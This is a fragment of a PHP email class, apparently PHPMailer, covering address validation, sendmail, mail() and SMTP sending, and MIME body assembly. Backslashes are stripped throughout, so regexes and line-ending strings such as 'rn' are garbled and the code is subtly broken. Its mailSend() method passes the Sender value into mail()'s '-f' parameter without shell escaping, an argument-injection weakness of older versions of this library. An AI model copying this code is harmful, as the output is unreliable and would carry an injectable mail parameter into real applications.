array($address, $name);                 return true;             }         }         return false;     }     public function setFrom($address, $name = '', $auto = true)     {         $address = trim($address);         $name = trim(preg_replace('/[rn]+/', '', $name)); //Strip breaks and trim         if (!$this->validateAddress($address)) {             $this->setError($this->lang('invalid_address') . ': ' . $address);             $this->edebug($this->lang('invalid_address') . ': ' . $address);             if ($this->exceptions) {                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);             }             return false;         }         $this->From = $address;         $this->FromName = $name;         if ($auto) {             if (empty($this->Sender)) {                 $this->Sender = $address;             }         }         return true;     }     public function getLastMessageID()     {         return $this->lastMessageID;     }     public static function validateAddress($address, $patternselect = 'auto')     {         if (!$patternselect or $patternselect == 'auto') {             //Check this constant first so it works when extension_loaded() is disabled by safe mode             //Constant was added in PHP 5.2.4             if (defined('PCRE_VERSION')) {                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {                     $patternselect = 'pcre8';                 } else {                     $patternselect = 'pcre';                 }             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {                 //Fall back to older PCRE                 $patternselect = 'pcre';             } else {                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {                     $patternselect = 'php';                 } else {                     $patternselect = 'noregex';                 }             }         }         switch ($patternselect) {             case 'pcre8':                 return (boolean)preg_match(                     '/^(?!(?>(?1)"?(?>[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>[ -~]|[^"])"?(?1)){65,}@)' .                     '((?>(?>(?>((?>(?>(?>x0Dx0A)?[t ])+|(?>[t ]*x0Dx0A)?[t ]+)?)(((?>(?2)' .                     '(?>[x01-x08x0Bx0Cx0E-'*-[]-x7F]|[x00-x7F]|(?3)))*(?2))))+(?2))|(?2))?)' .                     '([!#-'*+/-9=?^-~-]+|"(?>(?2)(?>[x01-x08x0Bx0Cx0E-!#-[]-x7F]|[x00-x7F]))*' .                     '(?2)")(?>(?1).(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .                     '(?>(?1).(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .                     '|(?!(?:.*[a-f0-9][:]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .                     '|[1-9]?[0-9])(?>.(?9)){3}))])(?1)$/isD',                     $address                 );             case 'pcre':                 //An older regex that doesn't need a recent PCRE                 return (boolean)preg_match(                     '/^(?!(?>"?(?>[ -~]|[^"])"?){255,})(?!(?>"?(?>[ -~]|[^"])"?){65,}@)(?>' .                     '[!#-'*+/-9=?^-~-]+|"(?>(?>[x01-x08x0Bx0Cx0E-!#-[]-x7F]|[x00-xFF]))*")' .                     '(?>.(?>[!#-'*+/-9=?^-~-]+|"(?>(?>[x01-x08x0Bx0Cx0E-!#-[]-x7F]|[x00-xFF]))*"))*' .                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>.(?![a-z0-9-]{64,})' .                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .                     '|[1-9]?[0-9])(?>.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))])$/isD',                     $address                 );             case 'html5':                 return (boolean)preg_match(                     '/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .                     '[a-zA-Z0-9])?(?:.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',                     $address                 );             case 'noregex':                 return (strlen($address) >= 3                     and strpos($address, '@') >= 1                     and strpos($address, '@') != strlen($address) - 1);             case 'php':             default:                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);         }     }     public function send()     {         try {             if (!$this->preSend()) {                 return false;             }             return $this->postSend();         } catch (phpmailerException $exc) {             $this->mailHeader = '';             $this->setError($exc->getMessage());             if ($this->exceptions) {                 throw $exc;             }             return false;         }     }     public function preSend()     {         try {             $this->mailHeader = '';             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);             }             // Set whether the message is multipart/alternative             if (!empty($this->AltBody)) {                 $this->ContentType = 'multipart/alternative';             }             $this->error_count = 0; // reset errors             $this->setMessageType();             // Refuse to send an empty message unless we are specifically allowing it             if (!$this->AllowEmpty and empty($this->Body)) {                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);             }             $this->MIMEHeader = $this->createHeader();             $this->MIMEBody = $this->createBody();             if ($this->Mailer == 'mail') {                 if (count($this->to) > 0) {                     $this->mailHeader .= $this->addrAppend('To', $this->to);                 } else {                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');                 }                 $this->mailHeader .= $this->headerLine(                     'Subject',                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))                 );             }             // Sign with DKIM if enabled             if (!empty($this->DKIM_domain)                 && !empty($this->DKIM_private)                 && !empty($this->DKIM_selector)                 && file_exists($this->DKIM_private)) {                 $header_dkim = $this->DKIM_Add(                     $this->MIMEHeader . $this->mailHeader,                     $this->encodeHeader($this->secureHeader($this->Subject)),                     $this->MIMEBody                 );                 $this->MIMEHeader = rtrim($this->MIMEHeader, "rn ") . self::CRLF .                     str_replace("rn", "n", $header_dkim) . self::CRLF;             }             return true;         } catch (phpmailerException $exc) {             $this->setError($exc->getMessage());             if ($this->exceptions) {                 throw $exc;             }             return false;         }     }     public function postSend()     {         try {             // Choose the mailer and send through it             switch ($this->Mailer) {                 case 'sendmail':                 case 'qmail':                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);                 case 'mail':                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);                 case 'smtp':                     return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);                 default:                     $sendMethod = $this->Mailer.'Send';                     if (method_exists($this, $sendMethod)) {                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);                     }                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);             }         } catch (phpmailerException $exc) {             $this->setError($exc->getMessage());             $this->edebug($exc->getMessage());             if ($this->exceptions) {                 throw $exc;             }         }         return false;     }     protected function sendmailSend($header, $body)     {         if ($this->Sender != '') {             if ($this->Mailer == 'qmail') {                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));             } else {                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));             }         } else {             if ($this->Mailer == 'qmail') {                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));             } else {                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));             }         }         if ($this->SingleTo) {             foreach ($this->SingleToArray as $toAddr) {                 if (!@$mail = popen($sendmail, 'w')) {                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);                 }                 fputs($mail, 'To: ' . $toAddr . "n");                 fputs($mail, $header);                 fputs($mail, $body);                 $result = pclose($mail);                 $this->doCallback(                     ($result == 0),                     array($toAddr),                     $this->cc,                     $this->bcc,                     $this->Subject,                     $body,                     $this->From                 );                 if ($result != 0) {                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);                 }             }         } else {             if (!@$mail = popen($sendmail, 'w')) {                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);             }             fputs($mail, $header);             fputs($mail, $body);             $result = pclose($mail);             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);             if ($result != 0) {                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);             }         }         return true;     }     protected function mailSend($header, $body)     {         $toArr = array();         foreach ($this->to as $toaddr) {             $toArr[] = $this->addrFormat($toaddr);         }         $to = implode(', ', $toArr);         if (empty($this->Sender)) {             $params = ' ';         } else {             $params = sprintf('-f%s', $this->Sender);         }         if ($this->Sender != '' and !ini_get('safe_mode')) {             $old_from = ini_get('sendmail_from');             ini_set('sendmail_from', $this->Sender);         }         $result = false;         if ($this->SingleTo && count($toArr) > 1) {             foreach ($toArr as $toAddr) {                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);             }         } else {             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);         }         if (isset($old_from)) {             ini_set('sendmail_from', $old_from);         }         if (!$result) {             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);         }         return true;     }   public function getSMTPInstance()     {         if (!is_object($this->smtp)) {             $this->smtp = new SMTP;         }         return $this->smtp;     }     protected function smtpSend($header, $body)     {         $bad_rcpt = array();         if (!$this->smtpConnect($this->SMTPOptions)) {             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);         }         if ('' == $this->Sender) {             $smtp_from = $this->From;         } else {             $smtp_from = $this->Sender;         }         if (!$this->smtp->mail($smtp_from)) {             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);         }         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {             foreach ($togroup as $to) {                 if (!$this->smtp->recipient($to[0])) {                     $error = $this->smtp->getError();                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);                     $isSent = false;                 } else {                     $isSent = true;                 }                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);             }         }         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);         }         if ($this->SMTPKeepAlive) {             $this->smtp->reset();         } else {             $this->smtp->quit();             $this->smtp->close();         }         if (count($bad_rcpt) > 0) {             $errstr = '';             foreach ($bad_rcpt as $bad) {                 $errstr .= $bad['to'] . ': ' . $bad['error'];             }             throw new phpmailerException(                 $this->lang('recipients_failed') . $errstr,                 self::STOP_CONTINUE             );         }         return true;     }     public function smtpConnect($options = array())     {         if (is_null($this->smtp)) {             $this->smtp = $this->getSMTPInstance();         }         if ($this->smtp->connected()) {             return true;         }         $this->smtp->setTimeout($this->Timeout);         $this->smtp->setDebugLevel($this->SMTPDebug);         $this->smtp->setDebugOutput($this->Debugoutput);         $this->smtp->setVerp($this->do_verp);         $hosts = explode(';', $this->Host);         $lastexception = null;         foreach ($hosts as $hostentry) {             $hostinfo = array();             if (!preg_match('/^((ssl|tls)://)*([a-zA-Z0-9.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {                 continue;             }             $prefix = '';             $secure = $this->SMTPSecure;             $tls = ($this->SMTPSecure == 'tls');             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {                 $prefix = 'ssl://';                 $tls = false; // Can't have SSL and TLS at the same time                 $secure = 'ssl';             } elseif ($hostinfo[2] == 'tls') {                 $tls = true;                 $secure = 'tls';             }             $sslext = defined('OPENSSL_ALGO_SHA1');             if ('tls' === $secure or 'ssl' === $secure) {                 if (!$sslext) {                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);                 }             }             $host = $hostinfo[3];             $port = $this->Port;             $tport = (integer)$hostinfo[4];             if ($tport > 0 and $tport < 65536) {                 $port = $tport;             }             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {                 try {                     if ($this->Helo) {                         $hello = $this->Helo;                     } else {                         $hello = $this->serverHostname();                     }                     $this->smtp->hello($hello);                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {                         $tls = true;                     }                     if ($tls) {                         if (!$this->smtp->startTLS()) {                             throw new phpmailerException($this->lang('connect_host'));                         }                         $this->smtp->hello($hello);                     }                     if ($this->SMTPAuth) {                         if (!$this->smtp->authenticate(                             $this->Username,                             $this->Password,                             $this->AuthType,                             $this->Realm,                             $this->Workstation                         )                         ) {                             throw new phpmailerException($this->lang('authenticate'));                         }                     }                     return true;                 } catch (phpmailerException $exc) {                     $lastexception = $exc;                     $this->edebug($exc->getMessage());                     $this->smtp->quit();                 }             }         }         $this->smtp->close();         if ($this->exceptions and !is_null($lastexception)) {             throw $lastexception;         }         return false;     }     public function smtpClose()     {         if ($this->smtp !== null) {             if ($this->smtp->connected()) {                 $this->smtp->quit();                 $this->smtp->close();             }         }     }    public function setLanguage($langcode = 'en', $lang_path = '')     {         // Define full set of translatable strings in English         $PHPMAILER_LANG = array(             'authenticate' => 'SMTP Error: Could not authenticate.',             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',             'data_not_accepted' => 'SMTP Error: data not accepted.',             'empty_message' => 'Message body empty',             'encoding' => 'Unknown encoding: ',             'execute' => 'Could not execute: ',             'file_access' => 'Could not access file: ',             'file_open' => 'File Error: Could not open file: ',             'from_failed' => 'The following From address failed: ',             'instantiate' => 'Could not instantiate mail function.',             'invalid_address' => 'Invalid address',             'mailer_not_supported' => ' mailer is not supported.',             'provide_address' => 'You must provide at least one recipient email address.',             'recipients_failed' => 'SMTP Error: The following recipients failed: ',             'signing' => 'Signing Error: ',             'smtp_connect_failed' => 'SMTP connect() failed.',             'smtp_error' => 'SMTP server error: ',             'variable_set' => 'Cannot set or reset variable: '         );         if (empty($lang_path)) {             // Calculate an absolute path so it can work if CWD is not here             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;         }         $foundlang = true;         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';         if ($langcode != 'en') { // There is no English translation file             // Make sure language file path is readable             if (!is_readable($lang_file)) {                 $foundlang = false;             } else {                 $foundlang = include $lang_file;             }         }         $this->language = $PHPMAILER_LANG;         return (boolean)$foundlang; // Returns false if language not found     }     public function getTranslations()     {         return $this->language;     }     public function addrAppend($type, $addr)     {         $addresses = array();         foreach ($addr as $address) {             $addresses[] = $this->addrFormat($address);         }         return $type . ': ' . implode(', ', $addresses) . $this->LE;     }     public function addrFormat($addr)     {         if (empty($addr[1])) { // No name provided             return $this->secureHeader($addr[0]);         } else {             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(                 $addr[0]             ) . '>';         }     }       public function wrapText($message, $length, $qp_mode = false)     {         $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');         $lelen = strlen($this->LE);         $crlflen = strlen(self::CRLF);         $message = $this->fixEOL($message);         if (substr($message, -$lelen) == $this->LE) {             $message = substr($message, 0, -$lelen);         }         $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE         $message = '';         for ($i = 0; $i < count($line); $i++) {             $line_part = explode(' ', $line[$i]);             $buf = '';             for ($e = 0; $e < count($line_part); $e++) {                 $word = $line_part[$e];                 if ($qp_mode and (strlen($word) > $length)) {                     $space_left = $length - strlen($buf) - $crlflen;                     if ($e != 0) {                         if ($space_left > 20) {                             $len = $space_left;                             if ($is_utf8) {                                 $len = $this->utf8CharBoundary($word, $len);                             } elseif (substr($word, $len - 1, 1) == '=') {                                 $len--;                             } elseif (substr($word, $len - 2, 1) == '=') {                                 $len -= 2;                             }                             $part = substr($word, 0, $len);                             $word = substr($word, $len);                             $buf .= ' ' . $part;                             $message .= $buf . sprintf('=%s', self::CRLF);                         } else {                             $message .= $buf . $soft_break;                         }                         $buf = '';                     }                     while (strlen($word) > 0) {                         if ($length <= 0) {                             break;                         }                         $len = $length;                         if ($is_utf8) {                             $len = $this->utf8CharBoundary($word, $len);                         } elseif (substr($word, $len - 1, 1) == '=') {                             $len--;                         } elseif (substr($word, $len - 2, 1) == '=') {                             $len -= 2;                         }                         $part = substr($word, 0, $len);                         $word = substr($word, $len);                         if (strlen($word) > 0) {                             $message .= $part . sprintf('=%s', self::CRLF);                         } else {                             $buf = $part;                         }                     }                 } else {                     $buf_o = $buf;                     $buf .= ($e == 0) ? $word : (' ' . $word);                     if (strlen($buf) > $length and $buf_o != '') {                         $message .= $buf_o . $soft_break;                         $buf = $word;                     }                 }             }             $message .= $buf . self::CRLF;         }         return $message;     }     public function utf8CharBoundary($encodedText, $maxLength)     {         $foundSplitPos = false;         $lookBack = 3;         while (!$foundSplitPos) {             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);             $encodedCharPos = strpos($lastChunk, '=');             if (false !== $encodedCharPos) {                 // Found start of encoded character byte within $lookBack block.                 // Check the encoded byte value (the 2 chars after the '=')                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);                 $dec = hexdec($hex);                 if ($dec < 128) { // Single byte character.                     // If the encoded char was found at pos 0, it will fit                     // otherwise reduce maxLength to start of the encoded char                     $maxLength = ($encodedCharPos == 0) ? $maxLength :                         $maxLength - ($lookBack - $encodedCharPos);                     $foundSplitPos = true;                 } elseif ($dec >= 192) { // First byte of a multi byte character                     // Reduce maxLength to split at start of character                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);                     $foundSplitPos = true;                 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back                     $lookBack += 3;                 }             } else {                 // No encoded character found                 $foundSplitPos = true;             }         }         return $maxLength;     }     public function setWordWrap()     {         if ($this->WordWrap < 1) {             return;         }         switch ($this->message_type) {             case 'alt':             case 'alt_inline':             case 'alt_attach':             case 'alt_inline_attach':                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);                 break;             default:                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);                 break;         }     }     public function createHeader()     {         $result = '';         // Set the boundaries         $uniq_id = md5(uniqid(time()));         $this->boundary[1] = 'b1_' . $uniq_id;         $this->boundary[2] = 'b2_' . $uniq_id;         $this->boundary[3] = 'b3_' . $uniq_id;         if ($this->MessageDate == '') {             $this->MessageDate = self::rfcDate();         }         $result .= $this->headerLine('Date', $this->MessageDate);         // To be created automatically by mail()         if ($this->SingleTo) {             if ($this->Mailer != 'mail') {                 foreach ($this->to as $toaddr) {                     $this->SingleToArray[] = $this->addrFormat($toaddr);                 }             }         } else {             if (count($this->to) > 0) {                 if ($this->Mailer != 'mail') {                     $result .= $this->addrAppend('To', $this->to);                 }             } elseif (count($this->cc) == 0) {                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');             }         }         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));         // sendmail and mail() extract Cc from the header before sending         if (count($this->cc) > 0) {             $result .= $this->addrAppend('Cc', $this->cc);         }         // sendmail and mail() extract Bcc from the header before sending         if ((                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'             )             and count($this->bcc) > 0         ) {             $result .= $this->addrAppend('Bcc', $this->bcc);         }         if (count($this->ReplyTo) > 0) {             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);         }         // mail() sets the subject itself         if ($this->Mailer != 'mail') {             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));         }         if ($this->MessageID != '') {             $this->lastMessageID = $this->MessageID;         } else {             $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());         }         $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);         $result .= $this->headerLine('X-Priority', $this->Priority);         if ($this->XMailer == '') {             $result .= $this->headerLine(                 'X-Mailer',                 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'             );         } else {             $myXmailer = trim($this->XMailer);             if ($myXmailer) {                 $result .= $this->headerLine('X-Mailer', $myXmailer);             }         }         if ($this->ConfirmReadingTo != '') {             $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');         }         // Add custom headers         for ($index = 0; $index < count($this->CustomHeader); $index++) {             $result .= $this->headerLine(                 trim($this->CustomHeader[$index][0]),                 $this->encodeHeader(trim($this->CustomHeader[$index][1]))             );         }         if (!$this->sign_key_file) {             $result .= $this->headerLine('MIME-Version', '1.0');             $result .= $this->getMailMIME();         }         return $result;     }     public function getMailMIME()     {         $result = '';         $ismultipart = true;         switch ($this->message_type) {             case 'inline':                 $result .= $this->headerLine('Content-Type', 'multipart/related;');                 $result .= $this->textLine("tboundary="" . $this->boundary[1] . '"');                 break;             case 'attach':             case 'inline_attach':             case 'alt_attach':             case 'alt_inline_attach':                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');                 $result .= $this->textLine("tboundary="" . $this->boundary[1] . '"');                 break;             case 'alt':             case 'alt_inline':                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');                 $result .= $this->textLine("tboundary="" . $this->boundary[1] . '"');                 break;             default:                 // Catches case 'plain': and case '':                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);                 $ismultipart = false;                 break;         }         // RFC1341 part 5 says 7bit is assumed if not specified         if ($this->Encoding != '7bit') {             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE             if ($ismultipart) {                 if ($this->Encoding == '8bit') {                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');                 }                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible             } else {                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);             }         }         if ($this->Mailer != 'mail') {             $result .= $this->LE;         }         return $result;     }     public function getSentMIMEMessage()     {         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;     }       public function createBody()     {         $body = '';         if ($this->sign_key_file) {             $body .= $this->getMailMIME() . $this->LE;         }         $this->setWordWrap();         $bodyEncoding = $this->Encoding;         $bodyCharSet = $this->CharSet;         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {             $bodyEncoding = '7bit';             $bodyCharSet = 'us-ascii';         }         $altBodyEncoding = $this->Encoding;         $altBodyCharSet = $this->CharSet;         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {             $altBodyEncoding = '7bit';             $altBodyCharSet = 'us-ascii';         }         switch ($this->message_type) {             case 'inline':                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->attachAll('inline', $this->boundary[1]);                 break;             case 'attach':                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->attachAll('attachment', $this->boundary[1]);                 break;             case 'inline_attach':                 $body .= $this->textLine('--' . $this->boundary[1]);                 $body .= $this->headerLine('Content-Type', 'multipart/related;');                 $body .= $this->textLine("tboundary="" . $this->boundary[2] . '"');                 $body .= $this->LE;                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->attachAll('inline', $this->boundary[2]);                 $body .= $this->LE;                 $body .= $this->attachAll('attachment', $this->boundary[1]);                 break;             case 'alt':                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 if (!empty($this->Ical)) {                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');                     $body .= $this->encodeString($this->Ical, $this->Encoding);                     $body .= $this->LE . $this->LE;                 }                 $body .= $this->endBoundary($this->boundary[1]);                 break;             case 'alt_inline':                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->textLine('--' . $this->boundary[1]);                 $body .= $this->headerLine('Content-Type', 'multipart/related;');                 $body .= $this->textLine("tboundary="" . $this->boundary[2] . '"');                 $body .= $this->LE;                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->attachAll('inline', $this->boundary[2]);                 $body .= $this->LE;                 $body .= $this->endBoundary($this->boundary[1]);                 break;             case 'alt_attach':                 $body .= $this->textLine('--' . $this->boundary[1]);                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');                 $body .= $this->textLine("tboundary="" . $this->boundary[2] . '"');                 $body .= $this->LE;                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->endBoundary($this->boundary[2]);                 $body .= $this->LE;                 $body .= $this->attachAll('attachment', $this->boundary[1]);                 break;             case 'alt_inline_attach':                 $body .= $this->textLine('--' . $this->boundary[1]);                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');                 $body .= $this->textLine("tboundary="" . $this->boundary[2] . '"');                 $body .= $this->LE;                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->textLine('--' . $this->boundary[2]);                 $body .= $this->headerLine('Content-Type', 'multipart/related;');                 $body .= $this->textLine("tboundary="" . $this->boundary[3] . '"');                 $body .= $this->LE;                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 $body .= $this->LE . $this->LE;                 $body .= $this->attachAll('inline', $this->boundary[3]);                 $body .= $this->LE;                 $body .= $this->endBoundary($this->boundary[2]);                 $body .= $this->LE;                 $body .= $this->attachAll('attachment', $this->boundary[1]);                 break;             default:                 // catch case 'plain' and case ''                 $body .= $this->encodeString($this->Body, $bodyEncoding);                 break;         }         if ($this->isError()) {             $body = '';         } elseif ($this->sign_key_file) {             try {                 if (!defined('PKCS7_TEXT')) {                     throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');                 }                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1                 $file = tempnam(sys_get_temp_dir(), 'mail');                 if (false === file_put_contents($file, $body)) {                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');                 }                 $signed = tempnam(sys_get_temp_dir(), 'signed');                 if (@openssl_pkcs7_sign(                     $file,                     $signed,                     'file://' . realpath($this->sign_cert_file),                     array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),                     null                 )                 ) {                     @unlink($file);                     $body = file_get_contents($signed);                     @unlink($signed);                 } else {                     @unlink($file);                     @unlink($signed);                     throw new phpmailerException($this->lang('signing') . openssl_error_string());                 }             } catch (phpmailerException $exc) {                 $body = '';                 if ($this->exceptions) {                     throw $exc;                 }             }         }         return $body;     }     protected function getBoundary($boundary, $charSet, $contentType, $encoding)     {         $result = '';         if ($charSet == '') {             $charSet = $this->CharSet;         }         if ($contentType == '') {             $contentType = $this->ContentType;         }         if ($encoding == '') {             $encoding = $this->Encoding;         }         $result .= $this->textLine('--' . $boundary);         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);         $result .= $this->LE;         // RFC1341 part 5 says 7bit is assumed if not specified         if ($encoding != '7bit') {             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);         }         $result .= $this->LE;         return $result;     }     protected function endBoundary($boundary)     {         return $this->LE . '--' . $boundary . '--' . $this->LE;     }     protected function setMessageType()     {         $type = array();         if ($this->alternativeExists()) {             $type[] = 'alt';         }         if ($this->inlineImageExists()) {             $type[] = 'inline';         }         if ($this->attachmentExists()) {             $type[] = 'attach';         }         $this->message_type = implode('_', $type);         if ($this->message_type == '') {             $this->message_type = 'plain';         }     }     public function headerLine($name, $value)     {         return $name . ': ' . $value . $this->LE;     }     public function textLine($value)     {         return $value . $this->LE;     } 